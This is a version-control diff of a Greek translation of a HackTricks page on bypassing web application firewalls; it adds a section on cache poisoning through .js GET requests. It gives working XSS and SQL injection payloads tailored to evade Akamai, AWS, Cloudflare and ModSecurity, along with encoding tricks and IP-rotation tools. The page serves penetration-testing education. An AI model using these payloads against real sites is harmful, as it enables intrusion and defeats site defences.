- [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
- [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -70,24 +70,24 @@ location ~* ^/admin {
deny all;
}
```
## Bypass Mod Security Rules <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
## Παράκαμψη Κανόνων Mod Security <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
### Path Confusion
### Σύγχυση Διαδρομής
[**Σε αυτή την ανάρτηση**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) εξηγείται ότι το ModSecurity v3 (μέχρι 3.0.12), **υλοποιούσε εσφαλμένα τη μεταβλητή `REQUEST_FILENAME`** η οποία προοριζόταν να περιέχει τη διαδρομή που προσπελάστηκε (μέχρι την αρχή των παραμέτρων). Αυτό συμβαίνει επειδή εκτελούσε μια αποκωδικοποίηση URL για να αποκτήσει τη διαδρομή.\
Ως εκ τούτου, ένα αίτημα όπως το `http://example.com/foo%3f';alert(1);foo=` στο mod security θα υποθέσει ότι η διαδρομή είναι απλώς `/foo` επειδή το `%3f` μετατρέπεται σε `?` που τερματίζει τη διαδρομή URL, αλλά στην πραγματικότητα η διαδρομή που θα λάβει ο διακομιστής θα είναι `/foo%3f';alert(1);foo=`.
Ως εκ τούτου, ένα αίτημα όπως `http://example.com/foo%3f';alert(1);foo=` στο mod security θα υποθέσει ότι η διαδρομή είναι απλώς `/foo` επειδή το `%3f` μετατρέπεται σε `?` που τερματίζει τη διαδρομή URL, αλλά στην πραγματικότητα η διαδρομή που θα λάβει ο διακομιστής θα είναι `/foo%3f';alert(1);foo=`.
Οι μεταβλητές `REQUEST_BASENAME` και `PATH_INFO` επηρεάστηκαν επίσης από αυτό το σφάλμα.
Κάτι παρόμοιο συνέβη στην έκδοση 2 του Mod Security που επέτρεπε την παράκαμψη μιας προστασίας που εμπόδιζε τους χρήστες να προσπελάσουν αρχεία με συγκεκριμένες επεκτάσεις σχετικές με αρχεία αντιγράφων ασφαλείας (όπως `.bak`) απλά στέλνοντας την τελεία κωδικοποιημένη σε `%2e`, για παράδειγμα: `https://example.com/backup%2ebak`.
Κάτι παρόμοιο συνέβη στην έκδοση 2 του Mod Security που επέτρεπε την παράκαμψη μιας προστασίας που εμπόδιζε τους χρήστες να προσπελάσουν αρχεία με συγκεκριμένες επεκτάσεις σχετικές με αρχεία αντιγράφων ασφαλείας (όπως `.bak`) απλά στέλνοντας την τελεία URL κωδικοποιημένη σε `%2e`, για παράδειγμα: `https://example.com/backup%2ebak`.
## Bypass AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
## Παράκαμψη AWS WAF ACL <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
### Malformed Header
### Κακώς Διαμορφωμένος Κεφαλίδας
[Αυτή η έρευνα](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) αναφέρει ότι ήταν δυνατό να παρακαμφθούν οι κανόνες AWS WAF που εφαρμόζονταν σε HTTP headers στέλνοντας έναν "κακώς σχηματισμένο" header που δεν αναλύθηκε σωστά από την AWS αλλά αναλύθηκε από τον διακομιστή backend.
[Αυτή η έρευνα](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) αναφέρει ότι ήταν δυνατό να παρακαμφθούν οι κανόνες AWS WAF που εφαρμόζονταν σε HTTP κεφαλίδες στέλνοντας μια "κακώς διαμορφωμένη" κεφαλίδα που δεν αναλύθηκε σωστά από την AWS αλλά αναλύθηκε από τον διακομιστή backend.
Για παράδειγμα, στέλνοντας το ακόλουθο αίτημα με μια SQL injection στον header X-Query:
Για παράδειγμα, στέλνοντας το ακόλουθο αίτημα με μια SQL injection στην κεφαλίδα X-Query:
```http
GET / HTTP/1.1\r\n
Host: target.com\r\n
@ -96,13 +96,13 @@ X-Query: Value\r\n
Connection: close\r\n
\r\n
```
Ήταν δυνατόν να παρακαμφθεί το AWS WAF επειδή δεν καταλάβαινε ότι η επόμενη γραμμή είναι μέρος της τιμής του κεφαλίδας ενώ ο διακομιστής NODEJS το καταλάβαινε (αυτό διορθώθηκε).
Ήταν δυνατόν να παρακαμφθεί το AWS WAF επειδή δεν καταλάβαινε ότι η επόμενη γραμμή είναι μέρος της τιμής της κεφαλίδας, ενώ ο διακομιστής NODEJS το καταλάβαινε (αυτό διορθώθηκε).
## Γενικές παρακάμψεις WAF
### Όρια Μεγέθους Αιτήσεων
Συνήθως, τα WAF έχουν ένα συγκεκριμένο όριο μήκους αιτήσεων για έλεγχο και αν μια αίτηση POST/PUT/PATCH είναι πάνω από αυτό, το WAF δεν θα ελέγξει την αίτηση.
Συνήθως, τα WAF έχουν έναν συγκεκριμένο περιορισμό μήκους αιτήσεων για έλεγχο και αν μια αίτηση POST/PUT/PATCH είναι πάνω από αυτόν, το WAF δεν θα ελέγξει την αίτηση.
- Για το AWS WAF, μπορείτε να [**ελέγξετε την τεκμηρίωση**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
@ -110,10 +110,10 @@ Connection: close\r\n
- Από [**τα έγγραφα του Azure**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
Παλαιότερα Web Application Firewalls με Core Rule Set 3.1 (ή χαμηλότερα) επιτρέπουν μηνύματα μεγαλύτερα από **128 KB** απενεργοποιώντας την επιθεώρηση σώματος αιτήσεων, αλλά αυτά τα μηνύματα δεν θα ελεγχθούν για ευπάθειες. Για νεότερες εκδόσεις (Core Rule Set 3.2 ή νεότερες), το ίδιο μπορεί να γίνει απενεργοποιώντας το μέγιστο όριο σώματος αίτησης. Όταν μια αίτηση υπερβαίνει το όριο μεγέθους:
Παλαιότερα Web Application Firewalls με Core Rule Set 3.1 (ή χαμηλότερα) επιτρέπουν μηνύματα μεγαλύτερα από **128 KB** απενεργοποιώντας την επιθεώρηση σώματος αίτησης, αλλά αυτά τα μηνύματα δεν θα ελεγχθούν για ευπάθειες. Για νεότερες εκδόσεις (Core Rule Set 3.2 ή νεότερες), το ίδιο μπορεί να γίνει απενεργοποιώντας το μέγιστο όριο σώματος αίτησης. Όταν μια αίτηση υπερβαίνει το όριο μεγέθους:
Αν **λειτουργία πρόληψης**: Καταγράφει και μπλοκάρει την αίτηση.\
Αν **λειτουργία ανίχνευσης**: Ελέγχει μέχρι το όριο, αγνοεί το υπόλοιπο και καταγράφει αν το `Content-Length` υπερβαίνει το όριο.
Αν είναι **λειτουργία πρόληψης**: Καταγράφει και μπλοκάρει την αίτηση.\
Αν είναι **λειτουργία ανίχνευσης**: Ελέγχει μέχρι το όριο, αγνοεί το υπόλοιπο και καταγράφει αν το `Content-Length` υπερβαίνει το όριο.
- Από [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**
@ -123,7 +123,24 @@ Connection: close\r\n
Έως 128KB.
### Obfuscation <a href="#obfuscation" id="obfuscation"></a>
### Κενά επιθεώρησης στατικά περιουσιακά στοιχεία (.js GETs)
Ορισμένα CDN/WAF stacks εφαρμόζουν αδύναμο ή καθόλου έλεγχο περιεχομένου σε αιτήσεις GET για στατικά περιουσιακά στοιχεία (για παράδειγμα, διαδρομές που τελειώνουν σε `.js`), ενώ εξακολουθούν να εφαρμόζουν παγκόσμιους κανόνες όπως περιορισμό ρυθμού και φήμη IP. Συνδυασμένο με την αυτόματη προσωρινή αποθήκευση στατικών επεκτάσεων, αυτό μπορεί να καταχραστεί για να παραδώσει ή να σπείρει κακόβουλες παραλλαγές που επηρεάζουν τις επόμενες HTML απαντήσεις.
Πρακτικές περιπτώσεις χρήσης:
- Στείλτε payloads σε μη αξιόπιστες κεφαλίδες (π.χ., `User-Agent`) σε ένα GET σε μια διαδρομή `.js` για να αποφύγετε τον έλεγχο περιεχομένου, στη συνέχεια ζητήστε αμέσως την κύρια HTML για να επηρεάσετε την προσωρινά αποθηκευμένη παραλλαγή.
- Χρησιμοποιήστε μια φρέσκια/καθαρή IP; μόλις μια IP σημειωθεί, οι αλλαγές δρομολόγησης μπορεί να κάνουν την τεχνική αναξιόπιστη.
- Στο Burp Repeater, χρησιμοποιήστε "Αποστολή ομάδας παράλληλα" (στυλ ενός πακέτου) για να τρέξετε τις δύο αιτήσεις (`.js` και στη συνέχεια HTML) μέσω της ίδιας διαδρομής front-end.
Αυτό συνδυάζεται καλά με την δηλητηρίαση cache αντανάκλασης κεφαλίδας. Δείτε:
- {{#ref}}
cache-deception/README.md
{{#endref}}
- [Πώς βρήκα μια 0-Click Account takeover σε μια δημόσια BBP και το εκμεταλλεύτηκα για να αποκτήσω πρόσβαση σε λειτουργίες επιπέδου Admin](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
### Απόκρυψη <a href="#ip-rotation" id="ip-rotation"></a>
```bash
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>
@ -133,7 +150,7 @@ Connection: close\r\n
```
### Συμβατότητα Unicode <a href="#unicode-compatability" id="unicode-compatability"></a>
Ανάλογα με την υλοποίηση της κανονικοποίησης Unicode (περισσότερες πληροφορίες [εδώ](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), χαρακτήρες που μοιράζονται τη συμβατότητα Unicode μπορεί να είναι σε θέση να παρακάμψουν το WAF και να εκτελούνται ως το προοριζόμενο payload. Συμβατοί χαρακτήρες μπορούν να βρεθούν [εδώ](https://www.compart.com/en/unicode).
Ανάλογα με την υλοποίηση της κανονικοποίησης Unicode (περισσότερες πληροφορίες [εδώ](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), χαρακτήρες που μοιράζονται συμβατότητα Unicode μπορεί να είναι σε θέση να παρακάμψουν το WAF και να εκτελούνται ως το προοριζόμενο payload. Συμβατοί χαρακτήρες μπορούν να βρεθούν [εδώ](https://www.compart.com/en/unicode).
#### Παράδειγμα <a href="#example" id="example"></a>
```bash
@ -143,9 +160,9 @@ Connection: close\r\n
```
### Bypass Contextual WAFs with encodings <a href="#ip-rotation" id="ip-rotation"></a>
Όπως αναφέρθηκε σε [**αυτή την ανάρτηση στο blog**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), προκειμένου να παρακάμψουμε WAFs που είναι ικανοί να διατηρούν ένα πλαίσιο της εισόδου του χρήστη, θα μπορούσαμε να εκμεταλλευτούμε τις τεχνικές WAF για να κανονικοποιήσουμε την είσοδο των χρηστών.
Όπως αναφέρεται σε [**αυτή την ανάρτηση του ιστολογίου**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), προκειμένου να παρακάμψουμε WAFs που είναι ικανοί να διατηρούν ένα πλαίσιο της εισόδου του χρήστη, θα μπορούσαμε να εκμεταλλευτούμε τις τεχνικές WAF για να κανονικοποιήσουμε την είσοδο των χρηστών.
Για παράδειγμα, στην ανάρτηση αναφέρεται ότι **η Akamai αποκωδικοποίησε μια είσοδο χρήστη 10 φορές**. Επομένως, κάτι όπως `<input/%2525252525252525253e/onfocus` θα θεωρηθεί από την Akamai ως `<input/>/onfocus` το οποίο **μπορεί να νομίζει ότι είναι εντάξει καθώς η ετικέτα είναι κλειστή**. Ωστόσο, όσο η εφαρμογή δεν αποκωδικοποιεί την είσοδο 10 φορές, το θύμα θα δει κάτι όπως `<input/%25252525252525253e/onfocus` το οποίο είναι **ακόμα έγκυρο για μια επίθεση XSS**.
Για παράδειγμα, στην ανάρτηση αναφέρεται ότι **η Akamai αποκωδικοποίησε μια είσοδο χρήστη 10 φορές**. Επομένως, κάτι όπως `<input/%2525252525252525253e/onfocus` θα θεωρηθεί από την Akamai ως `<input/>/onfocus`, το οποίο **μπορεί να νομίζει ότι είναι εντάξει καθώς η ετικέτα είναι κλειστή**. Ωστόσο, όσο η εφαρμογή δεν αποκωδικοποιεί την είσοδο 10 φορές, το θύμα θα δει κάτι όπως `<input/%25252525252525253e/onfocus`, το οποίο είναι **ακόμα έγκυρο για μια επίθεση XSS**.
Επομένως, αυτό επιτρέπει να **κρύβουμε payloads σε κωδικοποιημένα στοιχεία** που θα αποκωδικοποιήσει και θα ερμηνεύσει το WAF ενώ το θύμα δεν θα το κάνει.
@ -158,7 +175,7 @@ Connection: close\r\n
- AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
- Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`
Αναφέρεται επίσης ότι ανάλογα με **το πώς ορισμένα WAFs κατανοούν το πλαίσιο** της εισόδου του χρήστη, μπορεί να είναι δυνατό να το εκμεταλλευτούμε. Το προτεινόμενο παράδειγμα στο blog είναι ότι η Akamai επιτρέπει(ε) να βάλουμε οτιδήποτε μεταξύ `/*` και `*/` (πιθανώς επειδή αυτό χρησιμοποιείται συνήθως ως σχόλια). Επομένως, μια SQLinjection όπως `/*'or sleep(5)-- -*/` δεν θα πιαστεί και θα είναι έγκυρη καθώς το `/*` είναι η αρχική συμβολοσειρά της ένεσης και το `*/` είναι σχολιασμένο.
Αναφέρεται επίσης ότι ανάλογα με **το πώς ορισμένα WAFs κατανοούν το πλαίσιο** της εισόδου του χρήστη, μπορεί να είναι δυνατό να το εκμεταλλευτούμε. Το προτεινόμενο παράδειγμα στο ιστολόγιο είναι ότι η Akamai επιτρέπει(ε) να βάλουμε οτιδήποτε μεταξύ `/*` και `*/` (πιθανώς επειδή αυτό χρησιμοποιείται συνήθως ως σχόλια). Επομένως, μια SQLinjection όπως `/*'or sleep(5)-- -*/` δεν θα πιαστεί και θα είναι έγκυρη καθώς το `/*` είναι η αρχική συμβολοσειρά της ένεσης και το `*/` είναι σχολιασμένο.
Αυτού του είδους τα προβλήματα πλαισίου μπορούν επίσης να χρησιμοποιηθούν για **να εκμεταλλευτούν άλλες ευπάθειες από αυτές που αναμένονται** να εκμεταλλευτούν από το WAF (π.χ. αυτό θα μπορούσε επίσης να χρησιμοποιηθεί για να εκμεταλλευτεί μια XSS).
@ -170,15 +187,15 @@ h2c-smuggling.md
### IP Rotation <a href="#ip-rotation" id="ip-rotation"></a>
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Δημιουργία ενός URL API gateway για χρήση με το ffuf
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Δημιουργία ενός URL πύλης API για χρήση με ffuf
- [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): Παρόμοιο με το fireprox
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Πρόσθετο Burp Suite που χρησιμοποιεί IPs API gateway
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Ένας δυναμικά καθορισμένος αριθμός περιβαλλόντων κοντέινερ ενεργοποιείται με βάση το μέγεθος του αρχείου εισόδου και τον παράγοντα διαχωρισμού, με την είσοδο να διαχωρίζεται σε κομμάτια για παράλληλη εκτέλεση, όπως 100 περιβάλλοντα να επεξεργάζονται 100 κομμάτια από ένα αρχείο εισόδου 10,000 γραμμών με παράγοντα διαχωρισμού 100 γραμμών.
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Πρόσθετο Burp Suite που χρησιμοποιεί IP πύλης API
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Ένας δυναμικά καθορισμένος αριθμός περιβαλλόντων κοντέινερ ενεργοποιούνται με βάση το μέγεθος του αρχείου εισόδου και τον παράγοντα διαχωρισμού, με την είσοδο να διαχωρίζεται σε κομμάτια για παράλληλη εκτέλεση, όπως 100 περιβάλλοντα να επεξεργάζονται 100 κομμάτια από ένα αρχείο εισόδου 10.000 γραμμών με παράγοντα διαχωρισμού 100 γραμμών.
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
### Regex Bypasses
Διαφορετικές τεχνικές μπορούν να χρησιμοποιηθούν για να παρακάμψουν τα φίλτρα regex στα τείχη προστασίας. Παραδείγματα περιλαμβάνουν εναλλαγή πεζών και κεφαλαίων, προσθήκη διακοπών γραμμής και κωδικοποίηση payloads. Πόροι για τις διάφορες παρακάμψεις μπορούν να βρεθούν στο [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) και [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Τα παραδείγματα παρακάτω προήλθαν από [αυτό το άρθρο](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
Διαφορετικές τεχνικές μπορούν να χρησιμοποιηθούν για να παρακάμψουν τα φίλτρα regex στα τείχη προστασίας. Παραδείγματα περιλαμβάνουν εναλλαγή πεζών-κεφαλαίων, προσθήκη διαλειμμάτων γραμμής και κωδικοποίηση payloads. Πόροι για τις διάφορες παρακάμψεις μπορούν να βρεθούν στο [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) και [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Τα παραδείγματα παρακάτω προήλθαν από [αυτό το άρθρο](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
```bash
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
@ -209,6 +226,7 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
- [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
- [https://www.youtube.com/watch?v=0OMmWtU2Y_g](https://www.youtube.com/watch?v=0OMmWtU2Y_g)
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
{{#include ../banners/hacktricks-training.md}}